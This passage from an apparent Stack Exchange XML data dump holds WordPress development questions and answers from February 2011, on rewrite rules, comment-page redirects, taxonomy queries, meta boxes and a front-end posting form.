$wp_rewrite-&amp;gt;flush_rules(false);  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I figure there are one of two things happening:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It is working for you but the format of the return values are not what you expect, or&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have a plugin that is causing it to fail.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you are calling &lt;code&gt;wp_get_object_terms()&lt;/code&gt; that &lt;code&gt;$post&lt;/code&gt; doesn't have a value.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If it is #1 then this is what my test data looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;  [0] =&amp;gt; stdClass Object&#xA;    (&#xA;      [term_id] =&amp;gt; 140&#xA;      [name] =&amp;gt; info&#xA;      [slug] =&amp;gt; info&#xA;      [term_group] =&amp;gt; 0&#xA;      [term_taxonomy_id] =&amp;gt; 146&#xA;      [taxonomy] =&amp;gt; page-type&#xA;      [description] =&amp;gt; &#xA;      [parent] =&amp;gt; 0&#xA;      [count] =&amp;gt; 1&#xA;    )&#xA;&#xA;  [1] =&amp;gt; stdClass Object&#xA;    (&#xA;      [term_id] =&amp;gt; 141&#xA;      [name] =&amp;gt; pics&#xA;      [slug] =&amp;gt; pics&#xA;      [term_group] =&amp;gt; 0&#xA;      [term_taxonomy_id] =&amp;gt; 147&#xA;      [taxonomy] =&amp;gt; page-type&#xA;      [description] =&amp;gt; &#xA;      [parent] =&amp;gt; 0&#xA;      [count] =&amp;gt; 1&#xA;    )&#xA;&#xA;  [2] =&amp;gt; stdClass Object&#xA;    (&#xA;      [term_id] =&amp;gt; 142&#xA;      [name] =&amp;gt; vids&#xA;      [slug] =&amp;gt; vids&#xA;      [term_group] =&amp;gt; 0&#xA;      [term_taxonomy_id] =&amp;gt; 148&#xA;      [taxonomy] =&amp;gt; page-type&#xA;      [description] =&amp;gt; &#xA;      [parent] =&amp;gt; 0&#xA;      [count] =&amp;gt; 1&#xA;    )&#xA;&#xA;  [3] =&amp;gt; stdClass Object&#xA;    (&#xA;      [term_id] =&amp;gt; 143&#xA;      [name] =&amp;gt; Flickr&#xA;      [slug] =&amp;gt; flickr&#xA;      [term_group] =&amp;gt; 0&#xA;      [term_taxonomy_id] =&amp;gt; 149&#xA;      [taxonomy] =&amp;gt; page-type&#xA;      [description] =&amp;gt; &#xA;      [parent] =&amp;gt; 141&#xA;      [count] =&amp;gt; 1&#xA;    )&#xA;&#xA;  [4] =&amp;gt; stdClass Object&#xA;    (&#xA;      [term_id] =&amp;gt; 144&#xA;      [name] =&amp;gt; Other&#xA;      [slug] =&amp;gt; other&#xA;      [term_group] =&amp;gt; 0&#xA;      [term_taxonomy_id] =&amp;gt; 150&#xA;      [taxonomy] =&amp;gt; page-type&#xA;      [description] =&amp;gt; &#xA;      [parent] =&amp;gt; 141&#xA;      [count] =&amp;gt; 1&#xA;    )&#xA;&#xA;  [5] =&amp;gt; stdClass Object&#xA;    (&#xA;      [term_id] =&amp;gt; 145&#xA;      [name] =&amp;gt; Youtube&#xA;      [slug] =&amp;gt; youtube&#xA;      [term_group] =&amp;gt; 0&#xA;      [term_taxonomy_id] =&amp;gt; 151&#xA;      [taxonomy] =&amp;gt; page-type&#xA;      [description] =&amp;gt; &#xA;      [parent] =&amp;gt; 142&#xA;      [count] =&amp;gt; 1&#xA;    )&#xA;&#xA;  [6] =&amp;gt; stdClass Object&#xA;    (&#xA;      [term_id] =&amp;gt; 146&#xA;      [name] =&amp;gt; Other&#xA;      [slug] =&amp;gt; other-vids&#xA;      [term_group] =&amp;gt; 0&#xA;      [term_taxonomy_id] =&amp;gt; 152&#xA;      [taxonomy] =&amp;gt; page-type&#xA;      [description] =&amp;gt; &#xA;      [parent] =&amp;gt; 142&#xA;      [count] =&amp;gt; 1&#xA;    )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it is #2 then try disabling your plugins one-by-one until you find the culprit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If #3 then you'll need to move your code to where &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; does have a value.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-11T13:18:33.897" />
  <row Id="9135" PostTypeId="2" ParentId="8421" CreationDate="2011-02-11T13:53:18.497" Score="2" ViewCount="" Body="&lt;p&gt;This is not really a &lt;code&gt;WP_Rewrite&lt;/code&gt; question, unless you want to include the post ID in the URL. I think the best way to solve this is, as you suggest, do a &lt;code&gt;get_posts()&lt;/code&gt; query with your slug, and change the variables from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you don't have to do this on every &lt;code&gt;init&lt;/code&gt;, only do it when you are at a &lt;code&gt;clubs/[club_slug]/news/&lt;/code&gt; page. So first create a rewrite rule that will set a special variable that you can check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse8421_init' );&#xA;function wpse8421_init()&#xA;{&#xA;    // Assuming `wpse8421_club` is the name of your custom post type&#xA;    add_rewrite_rule( 'clubs/([^/]+)/news/?$', 'index.php?wpse8421_club=$matches[1]&amp;amp;wpse8421_related_news=true', 'top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this query var to the public query vars so you can check for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'query_vars', 'wpse8421_query_vars' );&#xA;function wpse8421_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'wpse8421_related_news';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then check for this extra variable, and if it is set, modify the query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'request', 'wspe8421_request' );&#xA;function wpse8421_request( $query_vars )&#xA;{&#xA;    if ( array_key_exists( 'wpse8421_related_news', $query_vars ) ) {&#xA;        $club_posts = get_posts( array(&#xA;            'post_type' =&amp;gt; 'wpse8421_club',&#xA;            'name' =&amp;gt; $query_vars['wpse8421_club'],&#xA;        ) );&#xA;        if ( $club_posts ) {&#xA;            $query_vars['connected'] = $club_posts[0]-&amp;gt;ID;&#xA;            unset( $query_vars['wpse8421_club'] );&#xA;        }&#xA;    }&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-11T13:53:18.497" />
  <row Id="9136" PostTypeId="2" ParentId="9129" CreationDate="2011-02-11T14:06:30.227" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Shaun:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great question! WordPress assigns your comment page number to the query var &lt;code&gt;'cpage'&lt;/code&gt; which gets set when your URL has &lt;code&gt;/comment-page-1/&lt;/code&gt; at the end. So your culprit is in the &lt;code&gt;redirect_canonical()&lt;/code&gt; function, line 192 of &lt;code&gt;/wp-includes/canoncial.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( get_query_var('paged') || is_feed() || get_query_var('cpage') ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the &lt;code&gt;redirect_canonical()&lt;/code&gt; function gets set as an action what we can do is to insert our own function to be called instead, have our function set the &lt;code&gt;'cpage'&lt;/code&gt; query var to &lt;code&gt;false&lt;/code&gt;, call &lt;code&gt;redirect_canonical()&lt;/code&gt;, and then set &lt;code&gt;'cpage'&lt;/code&gt; back to what it was; that will keep WordPress from redirecting on you.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To insert your own function you need to call the two hook &lt;code&gt;'init'&lt;/code&gt; and &lt;code&gt;'template_redirect'&lt;/code&gt; like so being sure to set the &lt;code&gt;'init'&lt;/code&gt; hook to be called after the &lt;code&gt;do_action()&lt;/code&gt; inside WordPress core that adds &lt;code&gt;redirect_canonical()&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','yoursite_init',11); //11=lower priority&#xA;function yoursite_init() {&#xA;  remove_action('template_redirect','redirect_canonical');&#xA;  add_action('template_redirect','yoursite_redirect_canonical');&#xA;}&#xA;&#xA;add_action('template_redirect','yoursite_redirect_canonical');&#xA;function yoursite_redirect_canonical($requested_url=null, $do_redirect=true) {&#xA;  $cpage = get_query_var('cpage');&#xA;  set_query_var('cpage',false);&#xA;  redirect_canonical($requested_url, $do_redirect);&#xA;  set_query_var('cpage',$cpage);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then of course you need to do something with your &lt;code&gt;'cpage'&lt;/code&gt;.  You can either check for the value returned by &lt;code&gt;get_query_var('cpage')&lt;/code&gt; or you can add another hook to allow you to create a comment-specific template which is what I did. It will add look for a theme template file with the same as it would normally load but with &lt;code&gt;[comments].php&lt;/code&gt; at the end of the name instead of &lt;code&gt;.php&lt;/code&gt;, i.e. &lt;code&gt;single[comments].php&lt;/code&gt;. &lt;em&gt;Note&lt;/em&gt; that I set priority for this filter to be 11; you may need to set to an even larger number if a plugin you use adds itself after your hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('single_template','yoursite_single_template',11);&#xA;function yoursite_single_template($template) {&#xA;  if (get_query_var('cpage'))&#xA;    $template = str_replace('.php','[comments].php',$template);&#xA;  return $template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the proof that it all works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/My_Test_%7C_WordPress_3.0_Test_Site-20110211-084920.png&quot; alt=&quot;Screenshot of Custom WordPress Page Template for Comments&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-11T14:06:30.227" CommentCount="6" />
  <row Id="9137" PostTypeId="2" ParentId="9123" CreationDate="2011-02-11T14:13:48.940" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Pigeon:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll second @scribu good suggestions but I will add I think it should be more than 1-2 posts for his #1; more like 5-10, IMO at least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, see if you can combine some of the taxonomies; i.e. &lt;code&gt;'height'&lt;/code&gt; and &lt;code&gt;'width'&lt;/code&gt; could be &lt;code&gt;'dimensions'&lt;/code&gt;, and you could create a custom metabox that allows you to change how they are entered by by the user but still assign them into the database as terms like &lt;code&gt;'height-11'&lt;/code&gt; and &lt;code&gt;'width-8.5'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-11T18:47:31.340" LastActivityDate="2011-02-11T18:47:31.340" CommentCount="2" />
  <row Id="9138" PostTypeId="1" CreationDate="2011-02-11T14:19:03.507" Score="0" ViewCount="60" Body="&lt;p&gt;I am using wordpress multiuser (with domain mapping plugin) and have enabled the option for site admins to create accounts.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Allow site administrators to add new&#xA;  users to their site via the&#xA;  &quot;Users-&gt;Add New&quot; page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However when they login and create an account in a blog creates an account with permissions to the current blog plus against the dashboard blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation suggests that an account is only created against the dashbaord blog when the user has no blog defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to prevent this?&lt;/p&gt;&#xA;" OwnerUserId="3091" LastActivityDate="2011-02-11T14:19:03.507" Title="Can you prevent user from being auto added to dashboard blog" Tags="&lt;users&gt;&lt;multisite&gt;" />
  <row Id="9139" PostTypeId="2" ParentId="9123" CreationDate="2011-02-11T14:49:16.530" Score="1" ViewCount="" Body="&lt;p&gt;And I'll second Mike's advice: Group/Split stuff that needs only certain meta boxes into different custom post types and add taxonomies where you need them in more than one post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex. &lt;em&gt;&lt;strong&gt;&quot;Couches&quot;, &quot;Tables&quot; &amp;amp; &quot;Shelfs&quot;&lt;/strong&gt;&lt;/em&gt; need the meta boxes &lt;em&gt;&lt;strong&gt;&quot;weight&quot;, &quot;dimensions&quot; &amp;amp; &quot;color&quot;&lt;/strong&gt;&lt;/em&gt;, so it could be a custom post type named &lt;em&gt;&lt;strong&gt;&quot;large furniture&quot;&lt;/strong&gt;&lt;/em&gt;.&lt;br&gt;&#xA;&lt;em&gt;&lt;strong&gt;&quot;Mixer&quot;, &quot;Toaster&quot; &amp;amp; &quot;Coffee makers&quot;&lt;/strong&gt;&lt;/em&gt; need the meta boxes &lt;em&gt;&lt;strong&gt;&quot;Consumption&quot; &amp;amp; &quot;Material&quot;&lt;/strong&gt;&lt;/em&gt; and could be grouped into the custom post type &lt;em&gt;&lt;strong&gt;&quot;household appliance&quot;&lt;/strong&gt;&lt;/em&gt;.&lt;br&gt;&#xA;Both need the tax &lt;em&gt;&lt;strong&gt;&quot;Available&quot;&lt;/strong&gt;&lt;/em&gt; &amp;amp; &lt;em&gt;&lt;strong&gt;&quot;Price Range&quot;&lt;/strong&gt;&lt;/em&gt; assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here i give you a link to a tool to reach your goal with ease: &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;Wp Alchemy&lt;/a&gt; is a class that helps you doing Meta Boxes quick'n'fast. You can also find it on github, so it's more easy to stay up to date via SVN.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-11T14:49:16.530" />
  <row Id="9140" PostTypeId="1" AcceptedAnswerId="9141" CreationDate="2011-02-11T15:00:28.440" Score="1" ViewCount="115" Body="&lt;p&gt;I'm running a WP 3.0.5 website and here is my problem: I define a custom post type with 2 custom taxonomies and I've got to develop a search engine based upon these taxonomies. Until there, no problem :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;         'my_post_type' =&amp;gt; 'post_type_name',&#xA;         'my_taxo_1' =&amp;gt; 'taxo-1-slug',&#xA;         'my_taxo_2' =&amp;gt; 'taxo-2-slug'&#xA;);&#xA;&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Working like a charm! But... What I want is to retrieve only custom posts matching both taxonomies whereas here, only 1 is sufficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw WP 3.1 is introducing a new way dealing with taxonomies (http://codex.wordpress.org/Function_Reference/query_posts#Taxonomy_Parameters) which will absolutely solve my problem but WP 3.1 is still in beta and I can't take risk for my customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help !&lt;/p&gt;&#xA;" OwnerUserId="3071" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-11T15:02:12.540" LastActivityDate="2011-02-11T15:05:52.750" Title="WP 3.0.5 - Custom posts matching 2 taxonomies" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="9141" PostTypeId="2" ParentId="9140" CreationDate="2011-02-11T15:04:58.247" Score="2" ViewCount="" Body="&lt;p&gt;You can do this in 3.0 with &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;the Query Multiple Taxonomies plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-11T15:04:58.247" CommentCount="1" />
  <row Id="9142" PostTypeId="2" ParentId="9140" CreationDate="2011-02-11T15:05:52.750" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Kaaviar:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is basically the same as this question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2255/getting-the-intersection-of-two-custom-taxonomy-terms-for-a-custom-post-type/2942#2942&quot;&gt;&lt;strong&gt;Getting the Intersection of Two Custom Taxonomy Terms for a Custom Post Type?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-11T15:05:52.750" CommentCount="5" />
  <row Id="9144" PostTypeId="1" AcceptedAnswerId="9151" CreationDate="2011-02-11T15:18:47.277" Score="1" ViewCount="174" Body="&lt;p&gt;My client is looking for a ranking system similar to a forum. As your post count goes up, your &quot;title&quot; changes. I think Buddypress offers something along these lines but we're at the end stage and he doesn't want to take the extra time to let me convert it to a buddypress system. Are there other plugins that can do this? Or maybe someone can suggest some code to use with User Role Editor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2479" LastEditorUserId="2479" LastEditorDisplayName="" LastEditDate="2011-02-11T15:41:36.383" LastActivityDate="2011-03-08T04:20:03.257" Title="Forum-esque Post Count User Ranks (Without Buddypress)" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" />
  <row Id="9145" PostTypeId="1" AcceptedAnswerId="9146" CreationDate="2011-02-11T15:31:42.757" Score="0" ViewCount="261" Body="&lt;p&gt;Hay All, I've setup a WordPress network and have a couple of websites. Within these 'sub-websites' have a created a new custom post type called 'courses'. When i create a new 'course' a sample permalink would be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/site1/course/my-course-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this doesn't link to the article in the question. Is this a normal error with wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How, can i fix this? I think there's an issue with the .htaccess file WP generated for me.&lt;/p&gt;&#xA;" OwnerUserId="376" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-11T15:39:20.927" LastActivityDate="2011-02-11T15:48:25.527" Title="Permalinks not working using wordPress Networking with custom post types" Tags="&lt;multisite&gt;&lt;permalinks&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="9146" PostTypeId="2" ParentId="9145" CreationDate="2011-02-11T15:48:25.527" Score="2" ViewCount="" Body="&lt;p&gt;I wrote a post about it a week ago &lt;a href=&quot;http://en.bainternet.info/2011/custom-post-type-getting-404-on-permalinks&quot; rel=&quot;nofollow&quot;&gt;http://en.bainternet.info/2011/custom-post-type-getting-404-on-permalinks&lt;/a&gt;&#xA;But a simple save changes in the permalink admin panel should fix it for you.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-11T15:48:25.527" />
  <row Id="9147" PostTypeId="1" CreationDate="2011-02-11T11:23:51.433" Score="0" ViewCount="74" Body="&lt;p&gt;I have been searching high and low and cannot seem to find a plugin/implementation for wordpress which allows for site wide values to be set and used (in places such as header/footer). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry I might not have been clear enough. What I am wanting to do is have fields which can be set in the backend and displayed site wide such as a phone number in the footer. Thanks&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-13T11:00:31.953" LastActivityDate="2011-02-13T11:00:31.953" Title="How to establish site-wide fields with my theme?" Tags="&lt;plugin-recommendation&gt;&lt;cms&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="9148" PostTypeId="2" ParentId="9147" CreationDate="2011-02-11T15:28:27.003" Score="3" ViewCount="" Body="&lt;p&gt;Just throw the values in your theme's functions.php file and use them in your other templates. This is a little too simple to warrant writing a plugin.&lt;/p&gt;&#xA;" OwnerUserId="1602" LastActivityDate="2011-02-11T15:28:27.003" />
  <row Id="9149" PostTypeId="1" CreationDate="2011-02-11T16:18:06.033" Score="0" ViewCount="132" Body="&lt;p&gt;I have created a custom meta box using following link in wordpress 3.0:&lt;br/&gt;&#xA;&lt;a href=&quot;http://farinspace.com/how-to-create-custom-wordpress-meta-box/&quot; rel=&quot;nofollow&quot;&gt;http://farinspace.com/how-to-create-custom-wordpress-meta-box/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using same code and custom meta data is not being saved. I get blank textbox in custom meta box each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know what to do.&lt;/p&gt;&#xA;" OwnerUserId="1302" LastActivityDate="2011-02-11T16:40:14.483" Title="Custom Meta Data is not being saved" Tags="&lt;metabox&gt;&lt;post-meta&gt;&lt;custom-field&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9150" PostTypeId="2" ParentId="9149" CreationDate="2011-02-11T16:40:14.483" Score="1" ViewCount="" Body="&lt;p&gt;As you may have noticed from the notes at the top of that &lt;a href=&quot;http://farinspace.com/how-to-create-custom-wordpress-meta-box/&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt;, you may want to consider using &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;WPAlchemy Meta Box&lt;/a&gt; for creating your meta boxes instead as it would make your dev a lot easier.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2011-02-11T16:40:14.483" />
  <row Id="9151" PostTypeId="2" ParentId="9144" CreationDate="2011-02-11T17:05:40.033" Score="2" ViewCount="" Body="&lt;p&gt;I know i have something like that and I'll post it as soon as i get home.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bit late I know , but since i jumped a head and said i have something like that, and i just couldn't find it i wrote something from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-user-ranks/&quot; rel=&quot;nofollow&quot;&gt;Bainternet User Ranks&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/HLEgx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you install and activate, configre it a bit and you can use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $baur_plugin = new baur_Plugin();&#xA;$user_rank = $baur_plugin-&amp;gt;ba_get_user_points($user_id,true);&#xA;echo &quot;title: &quot;. $user_rank['title'] . &quot;Points: &quot; . $user_rank['points'];?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-13T17:16:51.527" LastActivityDate="2011-02-13T17:16:51.527" CommentCount="4" />
  <row Id="9153" PostTypeId="2" ParentId="9110" CreationDate="2011-02-11T19:12:09.573" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&#xA;&lt;code&gt;&lt;pre&gt;&#xA;global $more;    // Declare global $more (before the loop).&#xA;$more = 0;       // Set (inside the loop) to display content above the more tag.&#xA;the_content(&quot;More...&quot;);&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-02-11T19:12:09.573" CommentCount="2" />
  <row Id="9154" PostTypeId="1" CreationDate="2011-02-11T19:15:48.787" Score="1" ViewCount="96" Body="&lt;p&gt;If we have a blog with multi-authors is there a way for each to have a follow me twitter button separated. Meaning when we see the post of an author we see only the twitter button with the author account. Or because is a one blog the only option is a Follow us button meaning one account for all the authors? &lt;/p&gt;&#xA;" OwnerUserId="1926" LastActivityDate="2011-02-11T20:58:56.203" Title="Follow me for wordpress blogs (multi-authors)" Tags="&lt;3.0&gt;&lt;users&gt;&lt;email&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="9155" PostTypeId="1" AcceptedAnswerId="9165" CreationDate="2011-02-11T19:18:58.923" Score="0" ViewCount="271" Body="&lt;p&gt;I've handrolled a form for posting from the front-end, with some custom functions that I needed. However, I've made the form only accessible when a user is logged in, and I'd like to have the articles show up as being posted by that user. Thoughts?? Here is my current code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;backend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp; ($_POST['action']== 'new_post')) {&#xA;    $has_errors = false;&#xA;&#xA;    $title = $_POST['title'];&#xA;    $tablature = $_POST['tablature'];&#xA;    $performer = $_POST['performer'];&#xA;    $composer = $_POST['composer'];&#xA;    $submitter = $_POST['submitter'];&#xA;    $cat = array( $_POST['cat'] );&#xA;&#xA;    if(!isset($title)) { echo '&amp;lt;div class=&quot;error&quot;&amp;gt;Title required.&amp;lt;/div&amp;gt;'; $has_errors = true; }&#xA;    if(!isset($tablature)) { echo '&amp;lt;div class=&quot;error&quot;&amp;gt;Description required.&amp;lt;/div&amp;gt;'; $has_errors = true; }&#xA;    if(!isset($performer)) { echo '&amp;lt;div class=&quot;error&quot;&amp;gt;Performer required.&amp;lt;/div&amp;gt;'; $has_errors = true; }&#xA;    if(!isset($composer)) { echo '&amp;lt;div class=&quot;error&quot;&amp;gt;Composer required.&amp;lt;/div&amp;gt;'; $has_errors = true; }&#xA;    if($cat == -1) { echo '&amp;lt;div class=&quot;error&quot;&amp;gt;Please select a category.&amp;lt;/div&amp;gt;'; $has_errors = true; }&#xA;&#xA;    $tags = $_POST['post_tags'];&#xA;    if (!$has_errors){&#xA;    // Save &amp;lt;title&amp;gt;  by: &amp;lt;performer&amp;gt;&#xA;    $title .= &quot; by &quot; .$performer;&#xA;&#xA;    // Save Composed by: &amp;lt;composer&amp;gt; Performed by: &amp;lt;performer&amp;gt; &amp;lt;tablature&amp;gt;&#xA;    $content = &quot;&amp;lt;h4&amp;gt;Composed by: &quot;.$composer.&quot;&amp;lt;/h4&amp;gt;&amp;lt;h4&amp;gt;Performed by: &quot;.$performer.&quot;&amp;lt;/h4&amp;gt;&amp;lt;p&amp;gt;Submitted by: &quot;.$submitter.&quot;&amp;lt;/p&amp;gt;&amp;lt;br/&amp;gt;&quot;.$tablature;&#xA;&#xA;    $new_post = array(&#xA;        'post_title' =&amp;gt; $title,&#xA;        'post_content' =&amp;gt; $content,&#xA;        'post_category' =&amp;gt; $cat,&#xA;        'post_status' =&amp;gt; 'draft'&#xA;    );&#xA;    wp_insert_post($new_post);&#xA;&#xA;    // save email and submitter as post meta in custom fields&#xA;    wp_redirect( home_url('/thank-you/') );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;frontend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;postbox&quot;&amp;gt;&#xA;&amp;lt;form id=&quot;new_post&quot; name=&quot;new_post&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;submitter&quot;&amp;gt;Submitted By&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;submitter&quot; value=&quot;&quot; tabindex=&quot;1&quot; size=&quot;20&quot; name=&quot;submitter&quot; class=”required” minlength=&quot;3&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;email&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;email&quot; value=&quot;&quot; tabindex=&quot;2&quot; size=&quot;20&quot; name=&quot;email&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;title&quot;&amp;gt;Song Title&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;title&quot; value=&quot;&quot; tabindex=&quot;3&quot; size=&quot;20&quot; name=&quot;title&quot; class=”required” minlength=&quot;3&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;composer&quot;&amp;gt;Composed By&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;composer&quot; value=&quot;&quot; tabindex=&quot;4&quot; size=&quot;20&quot; name=&quot;composer&quot; class=”required” minlength=&quot;3&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;performer&quot;&amp;gt;Performed By&amp;lt;/label&amp;gt;&amp;lt;br 